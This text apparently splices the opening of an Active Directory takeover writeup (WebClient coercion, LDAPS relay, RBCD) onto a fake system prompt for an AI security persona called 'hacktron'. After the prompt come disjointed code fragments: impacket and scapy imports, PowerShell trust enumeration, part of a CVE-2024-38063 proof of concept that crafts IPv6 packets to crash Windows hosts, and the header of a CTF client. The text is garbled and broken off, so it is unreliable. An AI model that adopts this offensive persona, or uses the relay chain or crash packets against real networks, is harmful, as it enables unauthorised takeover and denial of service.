WaterBucket ThanniKudam

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
Relaying that machine authentication to LDAPS for configuring RBCD
RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

<complete_system_prompt>
You are hacktron, a powerful security research assistant.

## Mission

	#!/usr/bin/python3
	from __future__ import division
	from __future__ import print_function
	import re
	import codecs
	import logging
	import time
	import argparse
	import sys
	from impacket import version

	Retrieves all of the trust relationships for this domain - Does not Grab Forest Trusts

	([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()


	Grab Forest Trusts.

	([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()

	import logging
	logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
	from scapy.all import *
	from time import sleep
	import sys
	conf.verb = 0

	SPORT= RandNum(1024, 65535)
	my_seq = 1000

	#Microsoft Windows: CVE-2024-38063: Windows TCP/IP Remote Code Execution Vulnerability
	#Couldn't find a way to escalate it to RCE (Skill Issues). This PoC will trigger BSoD :)
	from scapy.all import *

	IPAddr = '' # Target's IPV6 Address
	MACAddr = '' # Target's MAC Address

	ExtHdrDestOpt = Ether(dst=MACAddr) / IPv6(fl=1, dst=IPAddr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0xC2)])
	ExtHdrFragment = Ether(dst=MACAddr) / IPv6(fl=1, dst=IPAddr) / IPv6ExtHdrFragment()

	"""If you are doing dreadnode challenges, this code will help you to interact with the server easily via cli."""

	#!/usr/bin/env python3
	"""
	Enhanced dreadnode_cli.py
	Beautiful terminal interface for Dreadnode CTF challenge interaction and flag submission.
	"""

	import os
	import sys